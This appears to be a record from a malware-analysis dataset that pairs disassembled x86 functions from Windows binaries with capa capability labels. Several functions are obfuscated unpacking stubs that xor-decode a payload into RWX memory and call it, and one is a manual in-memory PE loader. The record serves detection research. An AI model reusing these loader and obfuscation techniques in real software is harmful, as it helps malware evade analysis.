joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4bcbf6
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push esi
push edi
push dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
push dword [ebp + 0xc]
push ebx
call fcn.004bcb72
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x28]
cmp eax, 0xffffffff
je 0x4bcd65
mov eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
je 0x4bcd65
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test ecx, ecx
jl 0x4bcd1a
jg 0x4bcc52
test eax, eax
je 0x4bcd10
push 1
push 0x1000
call fcn.004b95fc
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x4bcc75
push 0xc
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x4bcd07
push 0x8000
push ebx
call fcn.004b7e37
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jl 0x4bcc9e
jg 0x4bcc99
cmp ecx, 0x1000
jb 0x4bcc9e
mov ecx, 0x1000
push edi
push ecx
push esi
push ebx
call fcn.004bc460
add esp, 0x10
cmp eax, 0xffffffff
je 0x4bcce3
mov ecx, dword [ebp - 4]
cdq
sub ecx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], ecx
sbb eax, edx
mov dword [ebp - 8], eax
test eax, eax
jg 0x4bcc99
jl 0x4bccca
test ecx, ecx
jne 0x4bcc8b
push dword [ebp - 0xc]
push ebx
call fcn.004b7e37
push esi
call fcn.004b9659
add esp, 0xc
xor ebx, ebx
jmp 0x4bcd73
cmp byte [edi + 0x24], 0
je 0x4bccfa
cmp dword [edi + 0x20], 5
jne 0x4bccfa
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], 0xd
cmp byte [edi + 0x1c], 0
je 0x4bcd05
mov ebx, dword [edi + 0x18]
jmp 0x4bcd07
xor ebx, ebx
push esi
call fcn.004b9659
pop ecx
jmp 0x4bcd73
test ecx, ecx
jg 0x4bccdc
jl 0x4bcd1a
test eax, eax
jae 0x4bccdc
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.004bdb17
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
jne 0x4bcd3a
cmp byte [edi + 0x1c], 0
je 0x4bccdc
jmp 0x4bcd6b
push ebx
call fcn.004bcb08
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x4bccdc
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xd
mov byte [edi + 0x24], 1
mov dword [edi + 0x20], eax
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x4bcd73
cmp byte [edi + 0x1c], 0
je 0x4bcd70
mov ebx, dword [edi + 0x18]
jmp 0x4bcd73
push 0x16
pop ebx
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
call fcn.004bdb17
add esp, 0x10
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4bcf91
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x5148d8]
mov dword [ebp - 0xc], ecx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x4bcfd1
cmp byte [ebx], 0xa
jne 0x4bcfd1
or byte [edi + eax + 0x28], 4
jmp 0x4bcfd6
and byte [edi + eax + 0x28], 0xfb
add ecx, ebx
mov eax, ebx
mov dword [ebp - 0x10], ecx
mov esi, ebx
mov dword [ebp - 8], eax
cmp ebx, ecx
jae 0x4bd0d5
mov dl, byte [eax]
cmp dl, 0x1a
je 0x4bd0b8
inc eax
cmp dl, 0xd
je 0x4bd002
mov dword [ebp - 8], eax
mov byte [esi], dl
jmp 0x4bd028
cmp eax, ecx
jae 0x4bd036
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add dword [ebp - 8], eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
xor edx, edx
inc edx
add esi, edx
cmp eax, ecx
jb 0x4bcfea
jmp 0x4bd0d5
push 0
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4bd0b3
cmp dword [ebp - 0x10], 0
je 0x4bd0b3
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx*4 + 0x5148d8]
test byte [eax + edi + 0x28], 0x48
je 0x4bd08d
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x4bd078
mov byte [esi], dl
jmp 0x4bd089
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x5148d8]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x4bd0d5
cmp byte [ebp - 1], 0xa
jne 0x4bd09c
cmp esi, ebx
jne 0x4bd09c
mov byte [esi], 0xa
jmp 0x4bd0d4
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.004bdb17
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x4bd0d5
mov byte [esi], 0xd
jmp 0x4bd0d4
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx*4 + 0x5148d8]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x4bd0d2
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x4bd0d5
mov byte [esi], dl
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x4bd0de
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
push esi
sar ecx, 6
push edi
imul edi, eax, 0x38
mov dword [ebp - 8], ecx
mov eax, dword [ecx*4 + 0x5148d8]
push 0xa
pop edx
mov dword [ebp - 0x18], edx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x4bd124
cmp word [ebx], dx
jne 0x4bd124
or byte [eax + edi + 0x28], 4
jmp 0x4bd129
and byte [eax + edi + 0x28], 0xfb
lea edx, [ebx + ecx*2]
mov eax, ebx
mov dword [ebp - 0xc], edx
mov esi, ebx
mov dword [ebp - 4], eax
cmp ebx, edx
jae 0x4bd28c
mov dword [ebp - 0x10], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x14], edx
mov edx, dword [ebp - 0xc]
cmp ecx, 0x1a
je 0x4bd26c
add eax, 2
cmp cx, word [ebp - 0x10]
je 0x4bd16a
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x4bd1a0
cmp eax, edx
jae 0x4bd1ae
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x18]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 0xc]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
push 2
pop ecx
add esi, ecx
cmp eax, edx
jb 0x4bd145
jmp 0x4bd28c
push 0
lea eax, [ebp - 0x18]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4bd267
cmp dword [ebp - 0x18], 0
je 0x4bd267
mov edx, dword [ebp - 8]
push 0xa
mov eax, dword [edx*4 + 0x5148d8]
test byte [eax + edi + 0x28], 0x48
je 0x4bd23d
lea eax, [esi + 2]
mov dword [ebp - 0x1c], eax
mov ax, word [ebp - 4]
pop ecx
mov word [ebp - 2], ax
cmp ax, cx
jne 0x4bd201
mov word [esi], cx
jmp 0x4bd238
push 0xd
pop ecx
mov word [esi], cx
movzx ecx, ax
mov eax, dword [edx*4 + 0x5148d8]
mov dx, word [ebp - 2]
shr ecx, 8
push 0xa
mov byte [eax + edi + 0x2a], dl
mov edx, dword [ebp - 8]
mov eax, dword [edx*4 + 0x5148d8]
mov byte [eax + edi + 0x2b], cl
mov eax, dword [edx*4 + 0x5148d8]
pop ecx
mov byte [eax + edi + 0x2c], cl
mov esi, dword [ebp - 0x1c]
jmp 0x4bd28c
pop eax
cmp word [ebp - 4], ax
jne 0x4bd24d
cmp esi, ebx
jne 0x4bd24d
mov word [esi], ax
jmp 0x4bd289
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.004bdb17
add esp, 0x10
push 0xa
pop eax
cmp word [ebp - 4], ax
je 0x4bd28c
push 0xd
pop eax
jmp 0x4bd248
mov edx, dword [ebp - 8]
mov edx, dword [edx*4 + 0x5148d8]
mov al, byte [edx + edi + 0x28]
test al, 0x40
jne 0x4bd286
or al, 2
mov byte [edx + edi + 0x28], al
jmp 0x4bd28c
mov word [esi], cx
add esi, 2
sub esi, ebx
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x4c0dfd
Capabilities:
Enumerate files on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x264
mov eax, dword [0x502054]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x25c], ecx
cmp edx, edi
je 0x4c0e48
movzx eax, word [edx]
lea ecx, [ebp - 0x255]
push eax
call fcn.004c0f98
test al, al
jne 0x4c0e42
sub edx, 2
cmp edx, edi
jne 0x4c0e28
mov ecx, dword [ebp - 0x25c]
movzx esi, word [edx]
cmp esi, 0x3a
jne 0x4c0e6a
lea eax, [edi + 2]
cmp edx, eax
je 0x4c0e6a
push ecx
xor ebx, ebx
push ebx
push ebx
push edi
call fcn.004c0d49
add esp, 0x10
jmp 0x4c0f64
push esi
lea ecx, [ebp - 0x255]
call fcn.004c0f98
sub edx, edi
movzx eax, al
sar edx, 1
inc edx
neg eax
sbb eax, eax
xor ebx, ebx
push ebx
push ebx
and eax, edx
push ebx
mov dword [ebp - 0x260], eax
lea eax, [ebp - 0x254]
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4c0ead
push dword [ebp - 0x25c]
jmp 0x4c0e5a
mov ebx, dword [ebp - 0x25c]
push 0x2e
mov eax, dword [ebx + 4]
sub eax, dword [ebx]
sar eax, 2
mov dword [ebp - 0x25c], eax
pop eax
cmp word [ebp - 0x228], ax
jne 0x4c0eea
cmp word [ebp - 0x226], 0
je 0x4c0f0b
cmp word [ebp - 0x226], ax
jne 0x4c0eea
cmp word [ebp - 0x224], 0
je 0x4c0f0b
push ebx
push dword [ebp - 0x260]
lea eax, [ebp - 0x228]
push edi
push eax
call fcn.004c0d49
add esp, 0x10
mov dword [ebp - 0x264], eax
test eax, eax
jne 0x4c0f57
lea eax, [ebp - 0x254]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push 0x2e
test eax, eax
pop eax
jne 0x4c0ec4
mov eax, dword [ebx + 4]
mov edx, dword [ebx]
sub eax, edx
mov ecx, dword [ebp - 0x25c]
sar eax, 2
cmp ecx, eax
jne 0x4c0f3f
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
jmp 0x4c0f64
push 0x4c0b79
sub eax, ecx
push 4
push eax
lea eax, [edx + ecx*4]
push eax
call fcn.004c52f0
add esp, 0x10
jmp 0x4c0f34
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp - 0x264]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004a9913
leave
ret

Function at 0x4c187a
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x4c188b
pop esi
ret
push ebx
push edi
push esi
call fcn.004c1843
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.004b9eea
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x4c18b3
push ebx
push esi
push edi
call fcn.004abd70
add esp, 0xc
push 0
call fcn.004b9659
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret

Function at 0x4c1c83
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004c18c8
Function at 0x4c63b0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4c63dd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4c63dd
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x40180f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x40181e
pop dword [ebp - 0x18]
mov eax, 0xd7d3075b
sub eax, 0xd792ef3d
sub dword [ebp - 0x18], eax
mov dword [ebp - 0x28], 0x94f3b
add dword [ebp - 0x28], 0x4e48f610
mov dword [ebp - 0x24], 0x2b3aa451
add dword [ebp - 0x24], 0x6f8a7f4
mov dword [ebp - 0x20], 0x5369bcdd
add dword [ebp - 0x20], 0xf8e28751
mov dword [ebp - 0x1c], 0xf4513dc4
add dword [ebp - 0x1c], 0xbaec23c
lea eax, [ebp - 0x28]
push eax
mov eax, 0x8b8a098e
sub eax, 0x8b493942
add eax, dword [ebp - 0x18]
call dword [eax]
mov dword [ebp - 0x28], 0x9db87d22
sub dword [ebp - 0x28], 0x294613cc
mov dword [ebp - 0x24], 0x5902f7f1
add dword [ebp - 0x24], 0xe8696984
mov dword [ebp - 0x20], 0xecf41856
sub dword [ebp - 0x20], 0x8984abea
mov dword [ebp - 0x1c], 0xc065a496
sub dword [ebp - 0x1c], 0xc065a496
lea ebx, [ebp - 0x28]
push ebx
push eax
mov eax, 0xc4721c63
add eax, 0x3bceb3e5
add eax, dword [ebp - 0x18]
call dword [eax]
push 0x40
push 0x1000
push 0x39da1
push 0
call eax
mov ecx, 0x48e0
xor ebx, ebx
add ebx, eax
mov esi, 0x83c232b2
add esi, 0x7c7f7d4e
add esi, dword [ebp - 0x18]
mov edi, 0xf06878e3
sub edi, 0xd2c51508
add dword [ebp - 0x14], ebx
mov edx, dword [esi]
xor dword [ebp - 8], 0x3b2ff710
sub edx, edi
add dword [ebp - 8], 0xc926d6f2
mov dword [ebx], edx
mov dword [ebp - 0x14], 0x7ff545e3
add ebx, 0xd3c36e50
add ebx, 0x2c3c91b4
add esi, 0xe214780c
add esi, 0x1deb87f8
loop 0x40193c
add eax, 0x11653
xor ebx, ebx
add ebx, eax
add eax, 0x7df35bb5
sub eax, 0x7df35bb0
mov ecx, 0xc9f13751
add ecx, 0x364ec8af
add ecx, dword [ebp - 0x18]
call ebx
leave
ret

Function at 0x401b66
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410004]
jne 0x401b70
repz ret
jmp fcn.0040324d
Function at 0x402ed5
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x402ee4
pop dword [ebp - 0x34]
mov eax, 0xf921607d
add eax, 0x71ece67
sub dword [ebp - 0x34], eax
mov dword [ebp - 0x44], 0xf33c8873
add dword [ebp - 0x44], 0x5b15bcd8
mov dword [ebp - 0x40], 0x10ee1b4b
sub dword [ebp - 0x40], 0xdebacf06
mov dword [ebp - 0x3c], 0x279e0c2
add dword [ebp - 0x3c], 0x49d2636c
mov dword [ebp - 0x38], 0xece75712
add dword [ebp - 0x38], 0x1318a8ee
lea eax, [ebp - 0x44]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x34]
call dword [eax]
mov dword [ebp - 0x44], 0x4c22d8e4
sub dword [ebp - 0x44], 0xd7b06f8e
mov dword [ebp - 0x40], 0x7de2ae6d
sub dword [ebp - 0x40], 0x3c764cf8
mov dword [ebp - 0x3c], 0x49c3900
sub dword [ebp - 0x3c], 0xa12ccc94
mov dword [ebp - 0x38], 0x5cc1bf0e
add dword [ebp - 0x38], 0xa33e40f2
lea ebx, [ebp - 0x44]
push ebx
push eax
mov eax, 0x4562ad09
add eax, 0xbaddd3f7
add eax, dword [ebp - 0x34]
call dword [eax]
push 0x40
push 0x1000
push 0x368e3
push 0
call eax
mov ecx, 0xebf9a3b2
add ecx, 0x1406a262
xor ebx, ebx
add ebx, eax
mov edx, 0x5c4c47c2
sub edx, 0x5c0563c2
add edx, dword [ebp - 0x34]
mov edi, 0x40a2a945
mov esi, dword [edx]
add dword [ebp - 0x10], edi
xor esi, edi
sub dword [ebp - 0x20], 0x1591611c
mov dword [ebx], esi
add ebx, 0xd709f6ba
sub ebx, 0xd709f6b6
add edx, 0x9fe0150b
sub edx, 0x9fe01507
loop 0x402ffd
add eax, 0x208dc592
add eax, 0xdf734591
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x6700a4f2
sub ecx, 0x66c0a4f2
add ecx, dword [ebp - 0x34]
call ebx
leave
ret

Function at 0x40317b
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
push ebx
push esi
xor esi, esi
cmp eax, esi
jl 0x4031a6
mov ecx, dword [0x42a298]
push esi
add eax, ecx
push esi
push eax
mov dword [0x418ed4], eax
push dword [0x40a01c]
call dword [sym.imp.kernel32.dll_SetFilePointer]
push 4
call fcn.00403283
cmp eax, esi
jl 0x40327d
lea eax, [ebp + 8]
push 4
push eax
push dword [0x40a01c]
call fcn.00402ed5
test eax, eax
je 0x40326d
push dword [ebp + 8]
add dword [0x418ed4], 4
call fcn.00403283
mov ebx, eax
cmp ebx, esi
jl 0x40327b
cmp dword [ebp + 0x10], esi
jne 0x403249
cmp dword [ebp + 8], esi
jle 0x40327b
mov esi, 0x414ed0
cmp dword [ebp + 8], 0x4000
mov eax, dword [ebp + 8]
jl 0x40320b
mov eax, 0x4000
push eax
push esi
push dword [0x40a01c]
mov dword [ebp - 4], eax
call fcn.00402ed5
test eax, eax
je 0x40326d
push dword [ebp - 4]
push esi
push dword [ebp + 0xc]
call fcn.00402ed5
test eax, eax
je 0x403245
mov eax, dword [ebp - 4]
sub dword [ebp + 8], eax
add dword [0x418ed4], eax
add ebx, eax
cmp dword [ebp + 8], 0
jg 0x4031fa
jmp 0x40327b
push 0xfffffffffffffffe
jmp 0x40326f
mov eax, dword [ebp + 8]
cmp eax, dword [ebp + 0x14]
jl 0x403254
mov eax, dword [ebp + 0x14]
lea ecx, [ebp - 4]
push esi
push ecx
push eax
push dword [ebp + 0x10]
push dword [0x40a01c]
call dword [sym.imp.kernel32.dll_ReadFile]
test eax, eax
jne 0x403272
push 0xfffffffffffffffd
pop eax
jmp 0x40327d
mov ebx, dword [ebp - 4]
add dword [0x418ed4], ebx
mov eax, ebx
pop esi
pop ebx
leave
ret 0x10
Function at 0x40c220
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x40c22f
pop dword [ebp - 0x18]
mov eax, 0x11cdbf27
add eax, 0xee730308
sub dword [ebp - 0x18], eax
mov dword [ebp - 0x28], 0xec1ae506
add dword [ebp - 0x28], 0x62376045
mov dword [ebp - 0x24], 0x90211ccc
add dword [ebp - 0x24], 0xa2122f79
mov dword [ebp - 0x20], 0x37f2560b
add dword [ebp - 0x20], 0x1459ee23
mov dword [ebp - 0x1c], 0x847c6b7d
add dword [ebp - 0x1c], 0x7b839483
lea eax, [ebp - 0x28]
push eax
mov eax, 0xe7a22b2b
add eax, 0x189f356d
add eax, dword [ebp - 0x18]
call dword [eax]
mov dword [ebp - 0x28], 0x8181663b
add dword [ebp - 0x28], 0xf2f1031b
mov dword [ebp - 0x24], 0x9f46bd5d
add dword [ebp - 0x24], 0xa225a418
mov dword [ebp - 0x20], 0x91319661
sub dword [ebp - 0x20], 0x2dc229f5
mov dword [ebp - 0x1c], 0xcd6b80dc
sub dword [ebp - 0x1c], 0xcd6b80dc
lea ebx, [ebp - 0x28]
push ebx
push eax
mov eax, 0xd2573103
add eax, 0x2dea2f71
add eax, dword [ebp - 0x18]
call dword [eax]
push 0x40
push 0x1000
push 0x3d917
push 0
call eax
mov ecx, 0x5108
mov ebx, eax
mov esi, 0xc07d35df
sub esi, 0xc03a8fdf
add esi, dword [ebp - 0x18]
mov edx, 0x546b25f9
sub edx, 0x65af3922
sub dword [ebp - 0x14], ebx
mov edi, dword [esi]
xor dword [ebp - 0xc], eax
xor edi, edx
add dword [ebp - 0xc], 0xe0ba8638
mov dword [ebx], edi
add dword [ebp - 0x14], 0xf0c19c28
add ebx, 0x33251406
sub ebx, 0x33251402
add esi, 0x641d9d3
add esi, 0xf9be2631
loop 0x40c34b
add eax, 0xdb4791b6
sub eax, 0xdb465ac3
mov ebx, eax
add eax, 0x57e7d340
sub eax, 0x57e7d33b
mov ecx, 0x400000
add ecx, dword [ebp - 0x18]
call ebx
leave
ret
Function at 0x40d9a0
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push 0
push 0
push 0x40daa0
lea eax, [ebp - 8]
mov dword [ebp - 8], 0
xor bl, bl
push eax
mov byte [ebp - 1], bl
call sub.USER32.dll_DdeInitializeW
test eax, eax
jne 0x40da99
push esi
push edi
push eax
push dword [ebp + 8]
push dword [ebp - 8]
call sub.USER32.dll_DdeCreateStringHandleW
push 0
push dword [ebp + 0xc]
mov ebx, eax
push dword [ebp - 8]
call sub.USER32.dll_DdeCreateStringHandleW
push 0
mov esi, eax
push esi
push ebx
push dword [ebp - 8]
mov dword [ebp - 0x10], esi
call sub.USER32.dll_DdeConnect
mov edi, eax
call dword [sym.imp.kernel32.dll_GetTickCount]
mov dword [ebp - 0xc], eax
test edi, edi
jne 0x40da3d
push dword [ebp - 8]
call sub.USER32.dll_DdeGetLastError
push edi
push esi
push ebx
push dword [ebp - 8]
call sub.USER32.dll_DdeConnect
mov edi, eax
call dword [sym.imp.kernel32.dll_GetTickCount]
sub eax, dword [ebp - 0xc]
cmp eax, 0xea60
jbe 0x40da06
test edi, edi
jne 0x40da3d
push dword [ebp - 8]
call sub.USER32.dll_DdeGetLastError
jmp 0x40da75
mov esi, dword [ebp + 0x10]
push 0
push 0x2710
push 0x4050
push 1
push 0
push edi
push esi
call dword [sym.imp.kernel32.dll_lstrlenW]
lea eax, [eax*2 + 2]
push eax
push esi
call sub.USER32.dll_DdeClientTransaction
test eax, eax
push edi
setne byte [ebp - 1]
call sub.USER32.dll_DdeDisconnect
mov esi, dword [ebp - 0x10]
push ebx
push dword [ebp - 8]
call sub.USER32.dll_DdeFreeStringHandle
push esi
push dword [ebp - 8]
call sub.USER32.dll_DdeFreeStringHandle
push dword [ebp - 8]
call sub.USER32.dll_DdeUninitialize
mov al, byte [ebp - 1]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10001000
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, 0x5a4d
push ebx
push esi
push edi
cmp word [0x10004390], ax
jne 0x100011be
mov eax, dword [0x100043cc]
cmp dword [eax + 0x10004390], 0x4550
jne 0x100011be
mov esi, eax
push 0x40
push 0x3000
mov dword [ebp - 8], esi
mov ebx, dword [esi + 0x100043e0]
push ebx
push dword [esi + 0x100043c4]
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
test edi, edi
jne 0x1000107b
test byte [esi + 0x100043a6], 1
jne 0x100011be
push 0x40
push 0x3000
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
test edi, edi
je 0x100011be
push dword [esi + 0x100043e4]
push 0x10004390
push edi
call sub.VCRUNTIME140.dll_memcpy
xor eax, eax
add esp, 0xc
xor ebx, ebx
cmp ax, word [esi + 0x10004396]
jae 0x100010cd
lea esi, [esi + 0x1000449c]
push dword [esi - 4]
mov eax, dword [esi]
add eax, 0x10004390
push eax
mov eax, dword [esi - 8]
add eax, edi
push eax
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [ebp - 8]
lea esi, [esi + 0x28]
inc ebx
add esp, 0xc
movzx eax, word [eax + 0x10004396]
cmp ebx, eax
jl 0x100010a2
mov eax, dword [edi + 0x3c]
add eax, edi
mov dword [ebp - 0x10], eax
mov eax, dword [eax + 0x80]
test eax, eax
je 0x10001150
add eax, edi
mov dword [ebp - 4], eax
cmp dword [eax], 0
je 0x10001150
mov edx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xc], edx
mov dword [ebp - 8], ecx
nop dword [eax + eax]
mov ecx, dword [eax + 0x10]
test ecx, ecx
je 0x10001150
mov eax, dword [eax + 0xc]
lea esi, [ecx + edi]
add eax, edi
push eax
call edx
mov ebx, eax
test ebx, ebx
je 0x10001145
mov ecx, dword [esi]
test ecx, ecx
je 0x1000113a
jns 0x10001125
movzx eax, cx
jmp 0x1000112a
lea eax, [ecx + 2]
add eax, edi
push eax
push ebx
call dword [ebp - 8]
mov dword [esi], eax
add esi, 4
mov ecx, dword [esi]
test ecx, ecx
jne 0x1000111e
mov eax, dword [ebp - 4]
add eax, 0x14
mov dword [ebp - 4], eax
jmp 0x10001148
mov eax, dword [ebp - 4]
cmp dword [eax], 0
mov edx, dword [ebp - 0xc]
jne 0x10001100
mov ecx, dword [edi + 0x3c]
mov eax, edi
sub eax, dword [ecx + edi + 0x34]
mov dword [ebp - 0xc], eax
je 0x100011af
mov eax, dword [ecx + edi + 0xa0]
test eax, eax
je 0x100011af
cmp dword [eax + edi], 0
lea ebx, [eax + edi]
je 0x100011af
mov esi, dword [ebx + 4]
lea edx, [ebx + 8]
sub esi, 8
shr esi, 1
je 0x100011a8
nop
movzx eax, word [edx]
mov ecx, eax
and ecx, 0xf000
cmp ecx, 0x3000
jne 0x100011a0
mov ecx, dword [ebp - 0xc]
and eax, 0xfff
add eax, dword [ebx]
add dword [eax + edi], ecx
add edx, 2
sub esi, 1
jne 0x10001180
cmp dword [edx], 0
mov ebx, edx
jne 0x10001172
mov eax, dword [ebp - 0x10]
mov dword [eax + 0x34], edi
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100011d0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
push ebx
push esi
push edi
xor esi, esi
mov dword [ebp - 0x18], ecx
mov dword [ebp - 8], 0
xor edi, edi
nop word [eax + eax]
mov al, byte [edi + ecx]
mov bl, byte [edi + ecx + 1]
mov bh, byte [edi + ecx + 2]
mov cl, byte [edi + ecx + 3]
movsx eax, al
push eax
lea eax, [ebp - 0x58]
mov byte [ebp - 1], cl
push eax
mov dword [ebp - 0x58], 0x44434241
mov dword [ebp - 0x54], 0x48474645
mov dword [ebp - 0x50], 0x4c4b4a49
mov dword [ebp - 0x4c], 0x504f4e4d
mov dword [ebp - 0x48], 0x54535251
mov dword [ebp - 0x44], 0x58575655
mov dword [ebp - 0x40], 0x62615a59
mov dword [ebp - 0x3c], 0x66656463
mov dword [ebp - 0x38], 0x6a696867
mov dword [ebp - 0x34], 0x6e6d6c6b
mov dword [ebp - 0x30], 0x7271706f
mov dword [ebp - 0x2c], 0x76757473
mov dword [ebp - 0x28], 0x7a797877
mov dword [ebp - 0x24], 0x33323130
mov dword [ebp - 0x20], 0x37363534
mov dword [ebp - 0x1c], 0x2f2b3938
call dword [sym.imp.VCRUNTIME140.dll_strchr]
lea ecx, [ebp - 0x58]
sub al, cl
movsx ecx, bl
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x58]
push ecx
push eax
call dword [sym.imp.VCRUNTIME140.dll_strchr]
lea ecx, [ebp - 0x58]
sub al, cl
movsx ecx, bh
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x58]
push ecx
push eax
call dword [sym.imp.VCRUNTIME140.dll_strchr]
mov ebx, eax
lea eax, [ebp - 0x58]
sub bl, al
movsx eax, byte [ebp - 1]
push eax
lea eax, [ebp - 0x58]
push eax
